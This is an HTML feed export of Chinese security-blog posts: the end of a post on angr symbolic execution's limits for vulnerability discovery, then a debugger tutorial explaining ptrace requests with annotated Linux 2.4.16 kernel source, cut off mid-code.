63, 63);">angr符号执行用于漏洞挖掘的推论</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">我也是菜逼，如果大佬们有啥好办法，欢迎加我wx，一起讨论一起进步。</p></blockquote><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 如果只是单单利用step()以期望产生无法约束的状态来进行漏洞挖掘效果非常不稳定，问题的来源可能是在符号执行的过程中，产生的约束导致state异常存在不稳定的情况，同样的约束内有的求解方案可能就不会导致异常，这就可能导致漏洞错过，但是具体原因我还不清楚，后面会继续探索。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 还有一种方法是利用自定义的探索策略，不过好像并不能很好的解决上述问题。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 在实战漏洞挖掘中，笔者在IOT领域进行了实验，angr在整个符号传递过程中，极其容易受到硬件相关函数影响导致符号传播中断，目前也没有很好的方案来解决这个问题，笔者尝试利用推测下一阶段跳转的方法绕过硬件相关函数，但是这还是会导致大范围的不稳定状态出现以及数据流中断问题，如果利用SimProcess来进行angr hook的话，这会导致巨大的工作量，而且还要极大工作量的更新和维护，基本上与自动化的初衷背离。</p><p><br/></p></li></ol><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485835">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4dc304cf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485835%26idx%3D1%26sn%3Da8344b7ae4ec183b388b0952baa54adc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Mar 2023 11:32:00 +0800</pubDate>
    </item>
    <item>
      <title>实现一个简单的调试器</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485824&amp;idx=1&amp;sn=4e89f7b19e854644f595249a8ff571c7</link>
      <description>实现一个简单的调试器</description>
      <content:encoded><![CDATA[<p>
原创 <span>崎山松形</span> <span>2023-02-24 11:06</span> <span style="display: inline-block;">北京</span>
</p>

<p>实现一个简单的调试器</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d442f316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkaKns4LWooxTNiabTOgobYcsEWTxAsBxTrkPdibBnr3TxvxKleRIFzzWGOAthhGiaZQBbKavcEonXdsQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">实现一个简单的调试器</h1><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49356223175965663" data-s="300,640" style="" data-type="png" data-w="699" src="https://wechat2rss.xlab.app/img-proxy/?k=9f1ef5d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkaKns4LWooxTNiabTOgobYcsfOWfRS7ibfGwbEOjIDZEp6uhVVn3Xia6q4icRPMOMdAPgyWEMVoeYyRBg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  以经典的GDB为例其项目代码共有十几万行代码，但是很多情况下只会使用到几个常用功能：单步，断点，查看变量，线程/进程切换。而GDB基本上是依赖于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace</code>系统调用，主要用于编写调试程序。大部分实现思路参考<span style="line-height: 1.75;color: rgb(87, 107, 149);">Writing a Linux Debugger Part 2: Breakpoints (tartanllama.xyz)</span>系列文章，强烈推荐阅读</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">目标功能：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 单步</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 断点</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 查看内存/寄存器</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 查看汇编</p></li></ul><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">ptrace 原理</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">先来看看ptrace系统调用的函数签名：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;sys/ptrace.h&gt;</span></span><br/><span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(97, 174, 238);">ptrace</span>(<span style="color: rgb(198, 120, 221);">enum</span> __ptrace_request request, <span style="color: rgb(209, 154, 102);">pid_t</span> pid, <span style="color: rgb(209, 154, 102);">void</span> *addr, <span style="color: rgb(209, 154, 102);">void</span> *data);<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*DESCRIPTION<br/>       The  ptrace()  system  call  provides  a  means  by  which one process (the<br/>       &#34;tracer&#34;) may observe and control the execution  of  another  process  (the<br/>       &#34;tracee&#34;), and examine and change the tracee&#39;s memory and registers.  It is<br/>       primarily used to implement breakpoint debugging and system call tracing.<br/>       即ptrace系统调用提供给tracer控制，读取，修改另一个进程(tracee)的能力，由此可以实现断点和系统调用追踪<br/>       <br/>       A tracee first needs to be attached to the tracer.  Attachment  and  subse‐<br/>       quent commands are per thread: in a multithreaded process, every thread can<br/>       be individually attached to a (potentially different) tracer, or  left  not<br/>       attached  and  thus  not debugged.  Therefore, &#34;tracee&#34; always means &#34;(one)<br/>       thread&#34;, never &#34;a (possibly multithreaded) process&#34;.  Ptrace  commands  are<br/>       always sent to a specific tracee using a call of the form<br/>       即tracer通过ptrace进行附加(attach)和发送命令都是针对某一个线程的而不是进程<br/>*/</span></code></pre><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• request：调试者(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">tracer</strong>)要执行的操作，常见的有PTRACE_TRACEME，PTRACE_ATTACH，PTRACE_PEEKUSER，PTRACE_SINGLESTEP等</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• pid：被调试进程(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">tracee</strong>)pid</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• addr：要读写的内存地址</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• data：如果要向目标进程写入数据那么data就是我们数据地址；如果要读取目标进程数据那么data就是保留数据的地址</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ptrace系统调用会根据不同的request完成不同功能如：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_TRACEME：表示此进程即将被父进程trace，此时其他参数被忽略</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_PEEKTEXT, PTRACE_PEEKDATA：读取tracee在<strong style="line-height: 1.75;color: rgb(255, 118, 118);">addr</strong>(虚拟内存空间)处的一个字，返回值就是读取到的字</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_PEEKUSER：读取tracee的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">USER area</strong>，其包含了该进程的寄存器以及其他信息</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_POKETEXT, PTRACE_POKEDATA：复制<strong style="line-height: 1.75;color: rgb(255, 118, 118);">data</strong>所指向的一个字到tracee的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">addr</strong>(虚拟内存空间)处</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_POKEUSER：复制data所指的一个字带tracee的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">USER area</strong></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_GETREGS, PTRACE_GETFPREGS：复制<strong style="line-height: 1.75;color: rgb(255, 118, 118);">tracee</strong>的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">通用寄存器</code>或者<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">浮点寄存器</code>到<strong style="line-height: 1.75;color: rgb(255, 118, 118);">tracer</strong>的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">data</strong>所指的位置，addr被忽略</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_SETREGS, PTRACE_SETFPREGS：修改tracee的通用寄存器或者浮点寄存器</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_CONT：运行被暂停的tracee进程。如果data参数非0那么就表示data是传给tracee的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">信号数值</strong></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PTRACE_SYSCALL, PTRACE_SINGLESTEP：运行被暂停的tracee进程就像PTRACE_CONT功能，不同的是PTRACE_SYSCALL表示运行到下一个系统调用(进入或返回)，PTRACE_SINGLESTEP表示仅运行一条指令便停止</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">以下是Linux-2.4.16内核的ptrace系统调用内部实现源码：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">asmlinkage <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">sys_ptrace</span>(<span style="color: rgb(209, 154, 102);">long</span> request, <span style="color: rgb(209, 154, 102);">long</span> pid, <span style="color: rgb(209, 154, 102);">long</span> addr, <span style="color: rgb(209, 154, 102);">long</span> data)  <span style="color: rgb(92, 99, 112);font-style: italic;">//asmlinkage是指明该函数用堆栈来传递参数</span><br/>{<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">task_struct</span> *<span style="color: rgb(230, 192, 123);">child</span>;<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">user</span> * <span style="color: rgb(230, 192, 123);">dummy</span> = <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>    <span style="color: rgb(209, 154, 102);">int</span> i, ret;<br/>    lock_kernel();<br/>    ret = -EPERM;<br/>    <span style="color: rgb(198, 120, 221);">if</span> (request == PTRACE_TRACEME) {  <span style="color: rgb(92, 99, 112);font-style: italic;">/*检查traced状态是否重复*/</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* are we already being traced? */</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> (current-&gt;ptrace &amp; PT_PTRACED)<br/>            <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* set the ptrace bit in the process flags. */</span><br/>        current-&gt;ptrace |= PT_PTRACED;  <span style="color: rgb(92, 99, 112);font-style: italic;">//current指向当前进程(task_struct)，因此PTRACE_TRACEME将当前进程设置为PT_PTRACED状态(traced)即被trace者(tracee)</span><br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>    }<br/>    ret = -ESRCH;<br/>    read_lock(&amp;tasklist_lock);    <span style="color: rgb(92, 99, 112);font-style: italic;">//调度链表上读锁</span><br/>    child = find_task_by_pid(pid);   <span style="color: rgb(92, 99, 112);font-style: italic;">//获取目标pid进程结构体(task_struct)</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> (child)<br/>        get_task_struct(child);<br/>    read_unlock(&amp;tasklist_lock);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (!child)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>    ret = -EPERM;<br/>    <span style="color: rgb(198, 120, 221);">if</span> (pid == <span style="color: rgb(209, 154, 102);">1</span>)  <span style="color: rgb(92, 99, 112);font-style: italic;">/* you may not mess with init */</span><br/>        <span style="color: rgb(198, 120, 221);">goto</span> out_tsk;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*就像gdb有直接启动并调试一个程序和附加一个进程并调试两个功能，也是基于ptrace的PTRACE_ATTACH让目标进程处于traced状态*/</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> (request == PTRACE_ATTACH) {<br/>        ret = ptrace_attach(child);<br/>        <span style="color: rgb(198, 120, 221);">goto</span> out_tsk;<br/>    }<br/>    ...<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*这就是ptrace的主体，通过switch case和request完成，这里先了解部分*/</span><br/>    <span style="color: rgb(198, 120, 221);">switch</span> (request) {<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/* when I and D space are separate, these will need to be fixed. */</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*PTRACE_PEEKTEXT，PTRACE_PEEKDATA功能相同都是从虚拟地址addr中读取数据到data指针中*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_PEEKTEXT: <span style="color: rgb(92, 99, 112);font-style: italic;">/* read word at location addr. */</span> <br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_PEEKDATA: {<br/>        <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>        <span style="color: rgb(209, 154, 102);">int</span> copied;<br/>        copied = access_process_vm(child, addr, &amp;tmp, <span style="color: rgb(198, 120, 221);">sizeof</span>(tmp), <span style="color: rgb(209, 154, 102);">0</span>);<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (copied != <span style="color: rgb(198, 120, 221);">sizeof</span>(tmp))<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        ret = put_user(tmp,(<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> *) data);<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/* read the word at location addr in the USER area. */</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*可以检查用户态内存区域(USER area),从USER区域中读取一个字节，偏移量为addr*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_PEEKUSR: {<br/>        <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((addr &amp; <span style="color: rgb(209, 154, 102);">3</span>) || addr &lt; <span style="color: rgb(209, 154, 102);">0</span> || <br/>            addr &gt; <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(198, 120, 221);">struct</span> user) - <span style="color: rgb(209, 154, 102);">3</span>)<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        tmp = <span style="color: rgb(209, 154, 102);">0</span>;  <span style="color: rgb(92, 99, 112);font-style: italic;">/* Default return condition */</span><br/>        <span style="color: rgb(198, 120, 221);">if</span>(addr &lt; FRAME_SIZE*<span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>))<br/>            tmp = getreg(child, addr);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(addr &gt;= (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">0</span>] &amp;&amp;<br/>           addr &lt;= (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">7</span>]){<br/>            addr -= (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">0</span>];<br/>            addr = addr &gt;&gt; <span style="color: rgb(209, 154, 102);">2</span>;<br/>            tmp = child-&gt;thread.debugreg[addr];<br/>        }<br/>        ret = put_user(tmp,(<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> *) data);<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/* when I and D space are separate, this will have to be fixed. */</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*PTRACE_POKETEXT和PTRACE_POKEDATA功能相同都是向虚拟地址addr写入来自data的数据*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_POKETEXT: <span style="color: rgb(92, 99, 112);font-style: italic;">/* write the word at location addr. */</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_POKEDATA:<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (access_process_vm(child, addr, &amp;data, <span style="color: rgb(198, 120, 221);">sizeof</span>(data), <span style="color: rgb(209, 154, 102);">1</span>) == <span style="color: rgb(198, 120, 221);">sizeof</span>(data))<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_POKEUSR: <span style="color: rgb(92, 99, 112);font-style: italic;">/* write the word at location addr in the USER area */</span><br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((addr &amp; <span style="color: rgb(209, 154, 102);">3</span>) || addr &lt; <span style="color: rgb(209, 154, 102);">0</span> || <br/>            addr &gt; <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(198, 120, 221);">struct</span> user) - <span style="color: rgb(209, 154, 102);">3</span>)<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (addr &lt; FRAME_SIZE*<span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>)) {<br/>            ret = putreg(child, addr, data);<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* We need to be very careful here.  We implicitly<br/>           want to modify a portion of the task_struct, and we<br/>           have to be selective about what portions we allow someone<br/>           to modify. */</span><br/>          ret = -EIO;<br/>          <span style="color: rgb(198, 120, 221);">if</span>(addr &gt;= (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">0</span>] &amp;&amp;<br/>             addr &lt;= (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">7</span>]){<br/>              <span style="color: rgb(198, 120, 221);">if</span>(addr == (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">4</span>]) <span style="color: rgb(198, 120, 221);">break</span>;<br/>              <span style="color: rgb(198, 120, 221);">if</span>(addr == (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">5</span>]) <span style="color: rgb(198, 120, 221);">break</span>;<br/>              <span style="color: rgb(198, 120, 221);">if</span>(addr &lt; (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">4</span>] &amp;&amp;<br/>                 ((<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span>) data) &gt;= TASK_SIZE<span style="color: rgb(209, 154, 102);">-3</span>) <span style="color: rgb(198, 120, 221);">break</span>;<br/>              <br/>              <span style="color: rgb(198, 120, 221);">if</span>(addr == (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg[<span style="color: rgb(209, 154, 102);">7</span>]) {<br/>                  data &amp;= ~DR_CONTROL_RESERVED;<br/>                  <span style="color: rgb(198, 120, 221);">for</span>(i=<span style="color: rgb(209, 154, 102);">0</span>; i&lt;<span style="color: rgb(209, 154, 102);">4</span>; i++)<br/>                      <span style="color: rgb(198, 120, 221);">if</span> ((<span style="color: rgb(209, 154, 102);">0x5f54</span> &gt;&gt; ((data &gt;&gt; (<span style="color: rgb(209, 154, 102);">16</span> + <span style="color: rgb(209, 154, 102);">4</span>*i)) &amp; <span style="color: rgb(209, 154, 102);">0xf</span>)) &amp; <span style="color: rgb(209, 154, 102);">1</span>)<br/>                          <span style="color: rgb(198, 120, 221);">goto</span> out_tsk;<br/>              }<br/>              addr -= (<span style="color: rgb(209, 154, 102);">long</span>) &amp;dummy-&gt;u_debugreg;<br/>              addr = addr &gt;&gt; <span style="color: rgb(209, 154, 102);">2</span>;<br/>              child-&gt;thread.debugreg[addr] = data;<br/>              ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>          }<br/>          <span style="color: rgb(198, 120, 221);">break</span>;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*都是让tracee继续运行，只是啥时候停止不同*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_SYSCALL: <span style="color: rgb(92, 99, 112);font-style: italic;">/* continue and stop at next (return from) syscall */</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_CONT: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* restart after signal. */</span><br/>        <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span>) data &gt; _NSIG) <span style="color: rgb(92, 99, 112);font-style: italic;">//data为tracer传给tracee的信号数值，这里检查范围</span><br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (request == PTRACE_SYSCALL)<br/>            child-&gt;ptrace |= PT_TRACESYS; <span style="color: rgb(92, 99, 112);font-style: italic;">//设置PT_TRACESYS标志，为了在下一个系统调用处停止</span><br/>        <span style="color: rgb(198, 120, 221);">else</span><br/>            child-&gt;ptrace &amp;= ~PT_TRACESYS; <span style="color: rgb(92, 99, 112);font-style: italic;">//清除PT_TRACESYS标志，不停止</span><br/>        child-&gt;exit_code = data;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/* make sure the single step bit is not set. 清除EFLAGS的单步标志(Trap Flag)*/</span><br/>        tmp = get_stack_long(child, EFL_OFFSET) &amp; ~TRAP_FLAG;<br/>        put_stack_long(child, EFL_OFFSET,tmp);<br/>        wake_up_process(child);    <span style="color: rgb(92, 99, 112);font-style: italic;">//唤醒进程</span><br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/> * make the child exit.  Best I can do is send it a sigkill. <br/> * perhaps it should be put in the status that it wants to <br/> * exit.<br/> */</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_KILL: {<br/>        <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (child-&gt;state == TASK_ZOMBIE) <span style="color: rgb(92, 99, 112);font-style: italic;">/* already dead */</span><br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        child-&gt;exit_code = SIGKILL;<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* make sure the single step bit is not set. */</span><br/>        tmp = get_stack_long(child, 